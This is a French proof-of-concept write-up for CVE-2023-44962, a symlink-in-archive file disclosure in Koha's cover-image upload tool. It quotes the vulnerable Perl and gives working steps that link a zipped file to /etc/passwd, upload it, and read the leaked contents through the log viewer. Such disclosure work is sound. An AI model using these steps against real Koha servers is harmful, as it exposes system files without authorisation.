
PoC pour CVE-2023-44962
PoC pour CVE-2023-44962
Le téléchargement de fichiers d'archive contenant des liens symboliques dans upload-cover-image.pl peut divulguer une partie du contenu des fichiers liés.
...
foreach my $dir (@directories) {
my $file;
if ( -e "$dir/idlink.txt" ) {
$file = "$dir/idlink.txt";
}
elsif ( -e "$dir/datalink.txt" ) {
$file = "$dir/datalink.txt";
}
else {
next;
}
if ( open( my $fh, '<', $file ) ) {
while ( my $line = <$fh> ) {
my $delim =
( $line =~ /\t/ ) ? "\t"
: ( $line =~ /,/ ) ? ","
: "";
unless ( $delim eq "," || $delim eq "\t" ) {
warn
"Unrecognized or missing field delimeter. Please verify that you are using either a ',' or a 'tab'";
$error = 'DELERR';
}
else {
( $biblionumber, $filename ) = split $delim, $line, 2;
$biblionumber =~
s/[\"\r\n]//g; # remove offensive characters
$filename =~ s/[\"\r\n]//g;
$filename =~ s/^\s+//;
$filename =~ s/\s+$//;
if (C4::Context->preference("CataloguingLog")) {
logaction('CATALOGUING', 'MODIFY', $biblionumber, "biblio cover image: $filename");
}
...
D'après le code, on voit que lorsque le fichier extrait contient idlink. txt ou datalink. txt, le contenu du fichier est lu et divisé selon , ou \t. La dernière partie du contenu est assignée à $filename, et lorsque l'attribut CataloguingLog est activé (activé par défaut), le $filename est enregistré.
En accédant à viewlog.pl, vous pouvez voir le contenu du fichier divulgué.
D'abord, créez un fichier d'archive :
ln -s /etc/passwd datalink.txt
zip --symlinks datalink.zip datalink.txt
Ensuite, accédez à l'URL suivante pour écrire datalink.zip :
http://koha_ip:intranet_port/cgi-bin/koha/tools/upload-cover-image.pl
Le code de réponse est 500.
Ensuite, accédez à l'URL suivante pour lire le contenu du fichier :
http://192.168.176.139:8081/cgi-bin/koha/tools/viewlog.pl